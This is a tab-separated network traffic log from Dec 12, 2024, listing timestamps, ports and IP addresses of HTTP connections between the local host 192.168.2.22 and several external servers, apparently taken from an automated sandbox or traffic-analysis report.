Dec 12, 2024 10:20:23.148205996 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.149713039 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.149723053 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.149768114 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.150974989 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.151035070 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.151106119 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.151154041 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.152504921 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.152556896 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.152647972 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.152709961 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.154230118 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.154239893 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.154287100 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.155637980 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.155647993 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.155688047 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.157135010 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.157188892 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.157195091 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.157238007 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.158631086 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.158679962 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.158729076 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.158775091 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.160103083 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.160150051 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.160233974 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.160279989 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.161628962 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.161684990 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.161736012 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.161782980 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.163132906 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.163189888 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.163286924 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.163337946 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.164635897 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.164685011 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.164760113 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.164807081 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.166165113 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.166210890 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.166327953 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.166376114 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.167711973 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.167762041 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.167839050 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.167886972 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.169209957 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.169254065 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.169331074 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.169373989 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.170754910 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.170808077 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.170905113 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.170955896 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.172269106 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.172329903 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.172379971 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.172427893 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.173789978 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.173847914 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.173896074 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.173945904 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.175262928 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.175312996 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.175384998 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.175432920 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.236622095 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.236704111 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.236856937 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.237250090 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.237546921 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.237626076 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.237637043 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.237890005 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.239037037 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.239082098 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.239115953 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.239135027 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.240443945 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.240504026 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.240559101 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.240607977 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.241761923 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.241828918 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.241897106 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.241945982 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.243187904 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.243247986 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.243354082 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.243406057 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.244585991 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.244640112 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.244707108 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.244755030 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.245889902 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.245899916 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.245944023 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.247287989 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.247298002 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.247338057 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.248461962 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.248516083 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.248593092 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.248644114 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.249747992 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.249803066 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.249864101 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.249914885 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.251048088 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.251101971 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.251283884 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.251333952 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.252332926 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.252382994 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.252489090 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.252537012 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.253590107 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.253601074 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.253639936 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.254786968 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.254837036 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.254853964 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.254899979 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.256048918 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.256103992 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.256171942 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.256221056 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.257249117 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.257297993 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.257347107 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.257395983 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.258414984 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.258464098 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.258518934 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.258572102 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.259598017 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.259645939 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.259718895 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.259767056 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.260799885 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.260852098 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.260899067 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.260950089 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.261962891 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.262012959 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.262068033 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.262115955 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.263137102 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.263184071 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.263300896 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.263350010 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.264385939 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.264435053 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.264499903 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.264548063 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.265464067 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.265512943 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.265574932 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.265645027 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.266661882 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.266701937 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.266712904 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.266746044 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.267756939 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.267808914 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.267924070 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.267973900 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.268980980 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.269028902 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.269144058 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.269192934 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.270097971 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.270145893 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.270164967 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.270230055 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.271085978 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.271136999 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:23.271183968 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:20:23.271234035 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:20:31.852564096 CET	49167	80	192.168.2.22	188.114.97.6
Dec 12, 2024 10:20:31.972100019 CET	80	49167	188.114.97.6	192.168.2.22
Dec 12, 2024 10:20:31.972206116 CET	49167	80	192.168.2.22	188.114.97.6
Dec 12, 2024 10:20:31.988941908 CET	49167	80	192.168.2.22	188.114.97.6
Dec 12, 2024 10:20:32.108731985 CET	80	49167	188.114.97.6	192.168.2.22
Dec 12, 2024 10:20:32.108752966 CET	80	49167	188.114.97.6	192.168.2.22
Dec 12, 2024 10:20:32.108922005 CET	49167	80	192.168.2.22	188.114.97.6
Dec 12, 2024 10:20:32.228483915 CET	80	49167	188.114.97.6	192.168.2.22
Dec 12, 2024 10:20:33.240324020 CET	80	49167	188.114.97.6	192.168.2.22
Dec 12, 2024 10:20:33.240577936 CET	80	49167	188.114.97.6	192.168.2.22
Dec 12, 2024 10:20:33.240628004 CET	49167	80	192.168.2.22	188.114.97.6
Dec 12, 2024 10:20:33.241118908 CET	80	49167	188.114.97.6	192.168.2.22
Dec 12, 2024 10:20:33.241163969 CET	49167	80	192.168.2.22	188.114.97.6
Dec 12, 2024 10:20:33.496368885 CET	49167	80	192.168.2.22	188.114.97.6
Dec 12, 2024 10:20:34.513634920 CET	49168	80	192.168.2.22	188.114.97.6
Dec 12, 2024 10:20:34.633368969 CET	80	49168	188.114.97.6	192.168.2.22
Dec 12, 2024 10:20:34.633471012 CET	49168	80	192.168.2.22	188.114.97.6
Dec 12, 2024 10:20:34.645442009 CET	49168	80	192.168.2.22	188.114.97.6
Dec 12, 2024 10:20:34.764889002 CET	80	49168	188.114.97.6	192.168.2.22
Dec 12, 2024 10:20:35.908523083 CET	80	49168	188.114.97.6	192.168.2.22
Dec 12, 2024 10:20:35.908814907 CET	80	49168	188.114.97.6	192.168.2.22
Dec 12, 2024 10:20:35.908998013 CET	49168	80	192.168.2.22	188.114.97.6
Dec 12, 2024 10:20:35.910017014 CET	80	49168	188.114.97.6	192.168.2.22
Dec 12, 2024 10:20:35.910298109 CET	49168	80	192.168.2.22	188.114.97.6
Dec 12, 2024 10:20:36.148386955 CET	49168	80	192.168.2.22	188.114.97.6
Dec 12, 2024 10:20:37.166543007 CET	49169	80	192.168.2.22	188.114.97.6
Dec 12, 2024 10:20:37.285981894 CET	80	49169	188.114.97.6	192.168.2.22
Dec 12, 2024 10:20:37.286089897 CET	49169	80	192.168.2.22	188.114.97.6
Dec 12, 2024 10:20:37.306662083 CET	49169	80	192.168.2.22	188.114.97.6
Dec 12, 2024 10:20:37.426734924 CET	80	49169	188.114.97.6	192.168.2.22
Dec 12, 2024 10:20:37.426754951 CET	80	49169	188.114.97.6	192.168.2.22
Dec 12, 2024 10:20:37.427007914 CET	49169	80	192.168.2.22	188.114.97.6
Dec 12, 2024 10:20:37.546741009 CET	80	49169	188.114.97.6	192.168.2.22
Dec 12, 2024 10:20:37.546843052 CET	80	49169	188.114.97.6	192.168.2.22
Dec 12, 2024 10:20:38.560563087 CET	80	49169	188.114.97.6	192.168.2.22
Dec 12, 2024 10:20:38.560585976 CET	80	49169	188.114.97.6	192.168.2.22
Dec 12, 2024 10:20:38.560645103 CET	49169	80	192.168.2.22	188.114.97.6
Dec 12, 2024 10:20:38.561058998 CET	80	49169	188.114.97.6	192.168.2.22
Dec 12, 2024 10:20:38.561115026 CET	49169	80	192.168.2.22	188.114.97.6
Dec 12, 2024 10:20:38.818429947 CET	49169	80	192.168.2.22	188.114.97.6
Dec 12, 2024 10:20:39.834192038 CET	49170	80	192.168.2.22	188.114.97.6
Dec 12, 2024 10:20:39.953849077 CET	80	49170	188.114.97.6	192.168.2.22
Dec 12, 2024 10:20:39.954160929 CET	49170	80	192.168.2.22	188.114.97.6
Dec 12, 2024 10:20:40.044104099 CET	49170	80	192.168.2.22	188.114.97.6
Dec 12, 2024 10:20:40.163887024 CET	80	49170	188.114.97.6	192.168.2.22
Dec 12, 2024 10:20:41.230292082 CET	80	49170	188.114.97.6	192.168.2.22
Dec 12, 2024 10:20:41.230309963 CET	80	49170	188.114.97.6	192.168.2.22
Dec 12, 2024 10:20:41.230423927 CET	49170	80	192.168.2.22	188.114.97.6
Dec 12, 2024 10:20:41.230854034 CET	80	49170	188.114.97.6	192.168.2.22
Dec 12, 2024 10:20:41.230906010 CET	49170	80	192.168.2.22	188.114.97.6
Dec 12, 2024 10:20:41.233593941 CET	49170	80	192.168.2.22	188.114.97.6
Dec 12, 2024 10:20:41.353027105 CET	80	49170	188.114.97.6	192.168.2.22
Dec 12, 2024 10:20:46.866836071 CET	49171	80	192.168.2.22	85.25.177.138
Dec 12, 2024 10:20:46.986232042 CET	80	49171	85.25.177.138	192.168.2.22
Dec 12, 2024 10:20:46.986299038 CET	49171	80	192.168.2.22	85.25.177.138
Dec 12, 2024 10:20:47.008343935 CET	49171	80	192.168.2.22	85.25.177.138
Dec 12, 2024 10:20:47.127675056 CET	80	49171	85.25.177.138	192.168.2.22
Dec 12, 2024 10:20:47.127778053 CET	49171	80	192.168.2.22	85.25.177.138
Dec 12, 2024 10:20:47.127857924 CET	80	49171	85.25.177.138	192.168.2.22
Dec 12, 2024 10:20:47.247265100 CET	80	49171	85.25.177.138	192.168.2.22
Dec 12, 2024 10:20:48.270581007 CET	80	49171	85.25.177.138	192.168.2.22
Dec 12, 2024 10:20:48.271064043 CET	80	49171	85.25.177.138	192.168.2.22
Dec 12, 2024 10:20:48.271142960 CET	49171	80	192.168.2.22	85.25.177.138
Dec 12, 2024 10:20:48.519826889 CET	49171	80	192.168.2.22	85.25.177.138
Dec 12, 2024 10:20:49.535603046 CET	49172	80	192.168.2.22	85.25.177.138
Dec 12, 2024 10:20:49.654942036 CET	80	49172	85.25.177.138	192.168.2.22
Dec 12, 2024 10:20:49.655050039 CET	49172	80	192.168.2.22	85.25.177.138
Dec 12, 2024 10:20:49.667020082 CET	49172	80	192.168.2.22	85.25.177.138
Dec 12, 2024 10:20:49.786365032 CET	80	49172	85.25.177.138	192.168.2.22
Dec 12, 2024 10:20:50.939935923 CET	80	49172	85.25.177.138	192.168.2.22
Dec 12, 2024 10:20:50.940521955 CET	80	49172	85.25.177.138	192.168.2.22
Dec 12, 2024 10:20:50.940625906 CET	49172	80	192.168.2.22	85.25.177.138
Dec 12, 2024 10:20:51.171163082 CET	49172	80	192.168.2.22	85.25.177.138
Dec 12, 2024 10:20:52.187334061 CET	49173	80	192.168.2.22	85.25.177.138
Dec 12, 2024 10:20:52.306797981 CET	80	49173	85.25.177.138	192.168.2.22
Dec 12, 2024 10:20:52.306967974 CET	49173	80	192.168.2.22	85.25.177.138
Dec 12, 2024 10:20:52.320725918 CET	49173	80	192.168.2.22	85.25.177.138
Dec 12, 2024 10:20:52.440505981 CET	80	49173	85.25.177.138	192.168.2.22
Dec 12, 2024 10:20:52.440634012 CET	49173	80	192.168.2.22	85.25.177.138
Dec 12, 2024 10:20:52.440680027 CET	80	49173	85.25.177.138	192.168.2.22
Dec 12, 2024 10:20:52.560522079 CET	80	49173	85.25.177.138	192.168.2.22
Dec 12, 2024 10:20:52.560595989 CET	80	49173	85.25.177.138	192.168.2.22
Dec 12, 2024 10:20:53.691487074 CET	80	49173	85.25.177.138	192.168.2.22
Dec 12, 2024 10:20:53.692627907 CET	80	49173	85.25.177.138	192.168.2.22
Dec 12, 2024 10:20:53.692789078 CET	49173	80	192.168.2.22	85.25.177.138
Dec 12, 2024 10:20:53.823295116 CET	49173	80	192.168.2.22	85.25.177.138
Dec 12, 2024 10:20:54.842746019 CET	49174	80	192.168.2.22	85.25.177.138
Dec 12, 2024 10:20:54.962826014 CET	80	49174	85.25.177.138	192.168.2.22
Dec 12, 2024 10:20:54.963037968 CET	49174	80	192.168.2.22	85.25.177.138
Dec 12, 2024 10:20:54.975557089 CET	49174	80	192.168.2.22	85.25.177.138
Dec 12, 2024 10:20:55.095410109 CET	80	49174	85.25.177.138	192.168.2.22
Dec 12, 2024 10:20:56.247915983 CET	80	49174	85.25.177.138	192.168.2.22
Dec 12, 2024 10:20:56.247939110 CET	80	49174	85.25.177.138	192.168.2.22
Dec 12, 2024 10:20:56.248122931 CET	49174	80	192.168.2.22	85.25.177.138
Dec 12, 2024 10:20:56.251806974 CET	49174	80	192.168.2.22	85.25.177.138
Dec 12, 2024 10:20:56.373316050 CET	80	49174	85.25.177.138	192.168.2.22
Dec 12, 2024 10:21:18.753393888 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:21:18.873327017 CET	80	49166	45.33.6.223	192.168.2.22
Dec 12, 2024 10:21:18.873373032 CET	49166	80	192.168.2.22	45.33.6.223
Dec 12, 2024 10:21:29.051034927 CET	49175	80	192.168.2.22	173.236.199.97
Dec 12, 2024 10:21:29.170362949 CET	80	49175	173.236.199.97	192.168.2.22
Dec 12, 2024 10:21:29.175041914 CET	49175	80	192.168.2.22	173.236.199.97
Dec 12, 2024 10:21:29.188191891 CET	49175	80	192.168.2.22	173.236.199.97
Dec 12, 2024 10:21:29.307723999 CET	80	49175	173.236.199.97	192.168.2.22
Dec 12, 2024 10:21:29.307734966 CET	80	49175	173.236.199.97	192.168.2.22
Dec 12, 2024 10:21:29.308577061 CET	49175	80	192.168.2.22	173.236.199.97
Dec 12, 2024 10:21:29.427992105 CET	80	49175	173.236.199.97	192.168.2.22
Dec 12, 2024 10:21:30.290648937 CET	80	49175	173.236.199.97	192.168.2.22
Dec 12, 2024 10:21:30.293157101 CET	80	49175	173.236.199.97	192.168.2.22
Dec 12, 2024 10:21:30.293200970 CET	49175	80	192.168.2.22	173.236.199.97
Dec 12, 2024 10:21:30.701668978 CET	49175	80	192.168.2.22	173.236.199.97
Dec 12, 2024 10:21:31.718513012 CET	49176	80	192.168.2.22	173.236.199.97
Dec 12, 2024 10:21:31.838159084 CET	80	49176	173.236.199.97	192.168.2.22
Dec 12, 2024 10:21:31.838402033 CET	49176	80	192.168.2.22	173.236.199.97
Dec 12, 2024 10:21:31.849853039 CET	49176	80	192.168.2.22	173.236.199.97
Dec 12, 2024 10:21:31.969464064 CET	80	49176	173.236.199.97	192.168.2.22
Dec 12, 2024 10:21:32.950170994 CET	80	49176	173.236.199.97	192.168.2.22
Dec 12, 2024 10:21:32.950412035 CET	80	49176	173.236.199.97	192.168.2.22
Dec 12, 2024 10:21:32.951376915 CET	49176	80	192.168.2.22	173.236.199.97
Dec 12, 2024 10:21:33.353647947 CET	49176	80	192.168.2.22	173.236.199.97
Dec 12, 2024 10:21:34.370204926 CET	49177	80	192.168.2.22	173.236.199.97
Dec 12, 2024 10:21:34.490001917 CET	80	49177	173.236.199.97	192.168.2.22
Dec 12, 2024 10:21:34.490080118 CET	49177	80	192.168.2.22	173.236.199.97
Dec 12, 2024 10:21:34.502125978 CET	49177	80	192.168.2.22	173.236.199.97
Dec 12, 2024 10:21:34.621572018 CET	80	49177	173.236.199.97	192.168.2.22
Dec 12, 2024 10:21:34.621628046 CET	49177	80	192.168.2.22	173.236.199.97
Dec 12, 2024 10:21:34.621634960 CET	80	49177	173.236.199.97	192.168.2.22
Dec 12, 2024 10:21:34.741009951 CET	80	49177	173.236.199.97	192.168.2.22
Dec 12, 2024 10:21:34.741044044 CET	80	49177	173.236.199.97	192.168.2.22
Dec 12, 2024 10:21:35.595786095 CET	80	49177	173.236.199.97	192.168.2.22
Dec 12, 2024 10:21:35.596194029 CET	80	49177	173.236.199.97	192.168.2.22
Dec 12, 2024 10:21:35.603169918 CET	49177	80	192.168.2.22	173.236.199.97
Dec 12, 2024 10:21:36.005842924 CET	49177	80	192.168.2.22	173.236.199.97
Dec 12, 2024 10:21:37.023026943 CET	49178	80	192.168.2.22	173.236.199.97
Dec 12, 2024 10:21:37.147178888 CET	80	49178	173.236.199.97	192.168.2.22
Dec 12, 2024 10:21:37.147694111 CET	49178	80	192.168.2.22	173.236.199.97
Dec 12, 2024 10:21:37.157578945 CET	49178	80	192.168.2.22	173.236.199.97
Dec 12, 2024 10:21:37.279089928 CET	80	49178	173.236.199.97	192.168.2.22
Dec 12, 2024 10:21:38.255367994 CET	80	49178	173.236.199.97	192.168.2.22
Dec 12, 2024 10:21:38.255857944 CET	80	49178	173.236.199.97	192.168.2.22
Dec 12, 2024 10:21:38.255907059 CET	49178	80	192.168.2.22	173.236.199.97
Dec 12, 2024 10:21:38.259099007 CET	49178	80	192.168.2.22	173.236.199.97
Dec 12, 2024 10:21:38.378603935 CET	80	49178	173.236.199.97	192.168.2.22
Dec 12, 2024 10:21:43.635827065 CET	49179	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:43.755587101 CET	80	49179	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:43.761392117 CET	49179	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:43.769907951 CET	49179	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:43.889596939 CET	80	49179	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:43.889637947 CET	80	49179	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:43.897783995 CET	49179	80	192.168.2.22	203.161.42.73
Dec 12, 2024 10:21:44.017441988 CET	80	49179	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:44.996331930 CET	80	49179	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:44.996359110 CET	80	49179	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:44.996376991 CET	80	49179	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:44.996515036 CET	80	49179	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:44.996534109 CET	80	49179	203.161.42.73	192.168.2.22
Dec 12, 2024 10:21:44.996551991 CET	80	49179	203.161.42.73	192.168.2.22
